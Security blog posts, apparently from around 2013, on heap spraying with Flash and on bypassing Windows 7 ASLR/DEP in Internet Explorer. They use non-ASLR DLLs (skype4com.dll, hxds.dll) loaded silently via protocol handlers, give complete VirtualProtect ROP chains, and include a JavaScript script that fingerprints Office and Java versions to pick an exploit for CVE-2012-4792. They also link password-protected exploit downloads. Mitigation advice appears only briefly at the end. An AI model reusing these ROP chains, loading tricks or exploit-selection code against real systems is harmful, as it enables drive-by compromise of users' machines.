ROP

All posts tagged ROP

It’s been a while since my last post so I thought I’d post this article on heap spraying using Adobe Flash which I have been working on to get a better understanding of the ActionScript language, hopefully it will benefit some readers to test their security layers in their own environment.

After analysing some actual exploits which were using Flash to spray the heap I decided to use the relevant code and started customising it for my own testing purposes. I was surprised that a handful of Endpoint Protection products I tested on failed to detect any sort of heap spray. Spraying using JavaScript or DEPS does however get detected but I’m not sure how it well it would stand if the code were to be obfuscated. Below is a screenshot of the ActionScript spray so you get the idea.

A good portable tool to decompile flash files which I use is “AS3 Sorcerer”. There are some nice features, definitely worth the purchase.

“ActionScript Extractor” is another good and free portable tool but has a bug as when decompiling certain flash files triggers a crash. I didnt investigate this issue if its exploitable so be careful using this tool. Also you’ll most likely need to make more corrections to the code if wanting to recompile again.

I did a quick test on all the major browsers spraying 100 times with 1mb chunks. In the image below it’s interesting to see its child processes of each of the browsers and different integrity levels. Bypassing browser sandboxes is something I’ll be researching in the future so if I do discover anything interesting I’ll be sure to blog about it.

Finally here is the code and examples you can download from here. Password is “exploit” and MD5 hash is 98afdc19007a65be636cc0a8d9fe8d9d .  It includes the exploit for IE’s CVE-2012-4792 using JavaScript, DEPS and Flash. You can use SWFTools as3compile.exe to compile but I mainly used Adobe’s Flex SDK. Here is the direct link for version 4.6.

References:

http://www.adobe.com/devnet/flex/flex-sdk-download-all.html
https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html

While investigating an unrelated issue using SysInternals Autoruns tool I spotted a couple of protocol handlers installed on the system by Skype. Knowing that protocol handlers can be loaded by Internet Explorer without any prompts I decided to check if these libraries have there dynamic base bits set. It turns out that the “skype4com.dll” library has not which means it could be used to bypass Windows ASLR so I got to work writing my rop chain and testing it out.

A quick test to see if it indeed loads up can be done from the code below

<SCRIPT language="JavaScript">  
location.href = 'skype4com:'
</SCRIPT>

Filename - Skype4COM.dll
Path     - C:\Program Files\Common Files\Skype\
MD5 hash - 6e04c50ca4a3fa2cc812cd7ab84eb6d7
Size     - 2,156,192 bytes
Signed   - 03 November 2011 11:46:40
Version  - 1.0.38.0

and here is my rop chain without any nulls.

 0x28025062   # POP EBX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x28024f71   # POP EAX # RETN
 0x5ec03420   # 0x5EC03420
 0x28027b5c   # ADD EBX,EAX # XOR EAX,EAX # RETN (EBX=0x201, 513 bytes)
 0x28024f71   # POP EAX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x280b4654   # ADD EAX,5EC0325F # RETN
 0x28099a83   # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN (EDX=0x40)
 0x41414141   # Compensate
 0x28017271   # POP ECX # RETN
 0x280de198   # VirtualProtect() pointer [IAT]
 0x28027b5b   # MOV EAX,DWORD PTR DS:[ECX] # RETN
 0x28041824   # XCHG EAX,ESI # ADD EAX,48C48300 # RETN 0x08
 0x2806405a   # POP EBP # RETN
 0x41414141   # Compensate
 0x41414141   # Compensate
 0x280bc55b   # & push esp # ret 
 0x28017271   # POP ECX # RETN
 0x28126717   # &Writable location
 0x28098730   # POP EDI # RETN
 0x28098731   # RETN (ROP NOP)
 0x28024f71   # POP EAX # RETN
 0x90909090   # nop
 0x28043527   # PUSHAD # RETN

I’ve created an exploit using this rop chain on the “CButton Object Use-After-Free vulnerability” (CVE-2012-4792) taken from Metasploit. It has been tested on Windows 7 Enterprise (32bit) in VM with the latest version of Skype installed (6.2.59.106). The exploit can be downloaded from here, the password is “exploit” and the md5 hash of the zip file is 4d5735ff26b769abe1b02f74e2871911

Mitigation? Well I said it before and I’ll say it again . . . “EMET” your machines ASAP :-)

On something off topic, I was looking at the html code posted on Pastebin for the CVE-2012-4792 exploit and liked the way it checked to see if Office 2010 or 2007 was installed. Some blog posts weren’t as clear as to what the Office check routine was actually doing but really it was just determining which hxds.dll version to use for its rop chain for the Office version it detected. (I haven’t got the actual exploit files to confirm though but I’m pretty sure).

For Office 2010 it installs 4 OpenDocuments ActiveX objects

SharePoint.OpenDocuments.4
SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

and Office 2007 only 3

SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

So basically if the JavaScript is able to load “SharePoint.OpenDocuments.4″ then it knows that it’s Office 2010. Since these ActiveX controls can be run without permissions no prompts are given. Below is a simple script that could be used if say in this example checking Windows 7 with IE8 has got installed Office 2007/2010 or Java 6. No Skype ActiveX controls gets installed that can be run without permissions so I couldn’t work out how to check if Skype is installed without triggering prompts in Internet Explorer. If you do know how to check without triggering prompts please do share.

<HTML>
<SCRIPT language="JavaScript"> 
//
//
if (CheckIEOSVersion() == "ie8w7")
{
   if (CheckOfficeVersion() == "Office2010")
   {
//     Exploit call here
   }
   else if (CheckOfficeVersion() == "Office2007")
   {
//     Exploit call here
   }
   else if (JavaVersion() == "Java6")
   {
//     Exploit call here
   }
   else if (SkypeCheck() == "")
   {
//     Exploit call here
   }
}
//
//
function CheckIEOSVersion()
{
   var agent = navigator.userAgent.toUpperCase();
   var os_ie_ver = "";
//
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 7') > -1)) 
      os_ie_ver = "ie7wxp";  
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 8') > -1))
      os_ie_ver = "ie8wxp";
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 7') > -1))
      os_ie_ver = "ie7wv";   
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8wv";
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8w7";   
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 9') > -1)) 
      os_ie_ver = "ie9w7";
   if ((agent.indexOf('NT 6.2') > -1)&&(agent.indexOf('MSIE 10') > -1)) 
      os_ie_ver = "ie10w8"; 
   return os_ie_ver;
}
//
//
function CheckOfficeVersion()
{
   var offver = "";
   var checka = 0;
   var checkb = 0;
//
   try {
         checka = new ActiveXObject("SharePoint.OpenDocuments.4");  
   } catch (e) {}
   try {
         checkb = new ActiveXObject("SharePoint.OpenDocuments.3");  
   } catch (e) {}
//
   if ((typeof checka) == "object" && (typeof checkb) == "object")
     offver = "Office2010";
   else if ((typeof checka) == "number" && (typeof checkb) == "object") 
     offver = "Office2007";
//
   return offver;
}
//
//
function JavaVersion() 
{
   var javver = "";
   var javaa = 0;
//
   try {
         javaa = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");  
   } catch (e) {}
//
   if ((typeof javaa) == "object")
       javver = "Java6";
//
   return javver;
}
//
//
function SkypeCheck()
{
   var skypever = "";
   return skypever;
}
//
//
</SCRIPT>
</HTML> 

Exploiting vulnerabilities on Windows 7 is not as easy as it used to be on Windows XP. Writing an exploit to bypass ASLR and DEP on Windows 7 was still relatively easy if Java 6 was installed as it got shipped with non aslr msvcr71.dll library. Now that Java 7 has been out for a while hopefully everyone should be using this version as msvcr71.dll does not exist with Java 7. With this in mind creating a reliable ROP chain is going to be difficult again as finding some information leak my guess is not going to be a straight forward not to mention the time it would take to create our ROP chain if a leak even exists. So I set myself the task to see if I could create a reliable static ROP chain on a fully patched Windows 7 machine with and without Microsoft Office.

Windows 7 only

After carrying out a default installation of Windows 7 sp1 (Enterprise) and getting it all up-to-date with patches I carried out a scan of all non aslr DLLs on the system and was amazed to find nearly 600 non alsr DLLs. Ok a lot were duplicates so removing these from my list I ended up with around 200 unique DLLs to play with. One way I thought I could possibly load the library in Internet Explorer is by calling a classid object tag so after searching for clsid string in the DLLs one library stood out “VsaVb7rt.dll”

Filename - VsaVb7rt.dll
Path     - C:\Windows\Microsoft.NET\Framework\v2.0.50727\
MD5 hash - 22f450c23d8abdfa6bed991ad1c34b1c
Size     - 1,340,752 bytes
Signed   - 29th September 2010 08:46:12

After obtaining the classid guid using the tool Bintext I loaded it up in the browser

<HTML>
<OBJECT classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F' </OBJECT>
</HTML>

The issue with loading libraries via guids is that user interaction is first required before exploiting so in the real world this would not be a viable option unless your testing your own exploits from a specific address.

Once accepting the security warning it writes to the registry entry below

Windows 7 with MSOffice 2007/2010

With Windows 7 being a failure I turned my attention to Office 2007. As most users running Windows 7 should be running Office 2010 or the very least running Office 2007. After a default installation of “Microsoft Office 2007 Plus”, getting it fully up-to-date and carrying a another scan a number of additional non aslr DLLs where found that could be loaded via its own guids as above but again pretty useless with the prompts given. After browsing/grepping the strings in the libraries I found one library that could be loaded in Internet Explorer without any interaction and that library being “hxds.dll” :-). This library can be loaded using its protocol handler by location.href = ‘ms-help:’

<SCRIPT language="JavaScript"> 
   location.href = 'ms-help:'
</SCRIPT>

This library does not get rebased either so is perfect for our ROP chain. Carrying out the same routine with “Microsoft Office 2010 Plus” I found the same library “hxds.dll” that we can use but our ROP chain would be different as the file has been updated.

Details of the library on Office 2007

Filename - hxds.dll
Path     - C:\Program Files\Common Files\microsoft shared\Help\
MD5 hash - 9e7370cc3d6a43942433f85d0e2bbdd8
Size     - 873,216 bytes
Signed   - 19th August 2006 11:52:41

Details of the library on Office 2010

Filename - hxds.dll
Path     - C:\Program Files\Common Files\microsoft shared\Help\
MD5 hash - 23fdb0c309e188a5e3c767f8fc557d83
Size     - 877,368 bytes
Signed   - 23rd May 2009 12:24:33

Here is the ROP chain generated by Mona.py on Office 2007

 0x51be25dc, # POP EDI # RETN [hxds.dll]
 0x51bd1158, # ptr to &VirtualProtect() [IAT hxds.dll]
 0x51c3098e, # MOV EAX,DWORD PTR DS:[EDI] # RETN [hxds.dll]
 0x51c39987, # XCHG EAX,ESI # RETN [hxds.dll]
 0x51bf1761, # POP EBP # RETN [hxds.dll]
 0x51c4b2df, # & call esp [hxds.dll]
 0x51bf2e19, # POP EBX # RETN [hxds.dll]
 0x00000201, # 0x00000201-> ebx
 0x51bfa969, # POP EDX # RETN [hxds.dll]
 0x00000040, # 0x00000040-> edx
 0x51c385a2, # POP ECX # RETN [hxds.dll]
 0x51c5b991, # &Writable location [hxds.dll]
 0x51bf7b52, # POP EDI # RETN [hxds.dll]
 0x51c3f011, # RETN (ROP NOP) [hxds.dll]
 0x51c433d7, # POP EAX # RETN [hxds.dll]
 0x90909090, # nop
 0x51c0a4ec, # PUSHAD # RETN [hxds.dll]

and the ROP chain on Office 2010

 0x51bf34b4, # POP ESI # RETN [hxds.dll]
 0x51bd10b8, # ptr to &VirtualProtect() [IAT hxds.dll]
 0x51bd2d97, # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll]
 0x51bdcba0, # XCHG EAX,ESI # RETN 00 [hxds.dll]
 0x51c379e2, # POP EBP # RETN [hxds.dll]
 0x51c59683, # & call esp [hxds.dll]
 0x51be198c, # POP EBX # RETN [hxds.dll]
 0x00000201, # 0x00000201-> ebx
 0x51c35ac3, # POP EDX # RETN [hxds.dll]
 0x00000040, # 0x00000040-> edx
 0x51becf3e, # POP ECX # RETN [hxds.dll]
 0x51c5d150, # &Writable location [hxds.dll]
 0x51bef563, # POP EDI # RETN [hxds.dll]
 0x51c07402, # RETN (ROP NOP) [hxds.dll]
 0x51c56fbd, # POP EAX # RETN [hxds.dll]
 0x90909090, # nop
 0x51c3604e, # PUSHAD # RETN [hxds.dll]

In order for our exploit to be successful I’ve seen its best to call the protocol handler after the heap spray and before triggering the vulnerability. Finally here is an exploit (password “answerworks”, md5hash 5bc94894890298710f30d91d6104e568) based from my last post where I have just changed the ROP chain from using msvcr71.dll to using hxds.dll. For now I see two options to mitigate this, one is to disable the protocol handler which can be done easily by changing the name or value in the registry or delete it completely. The downside is that I don’t know how it would impact applications using this handler.

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\ms-help]
@="Help HxProtocol"
"CLSID"="{314111c7-a502-11d2-bbca-00c04f8ec294}"

The second option would be to get Microsoft EMET installed if you haven’t already done so and make sure “MandatoryASLR” is enabled for the iexplore.exe process. I can’t emphasize enough how vital it is to have this tool installed so please do not delay and get it deployed ASAP.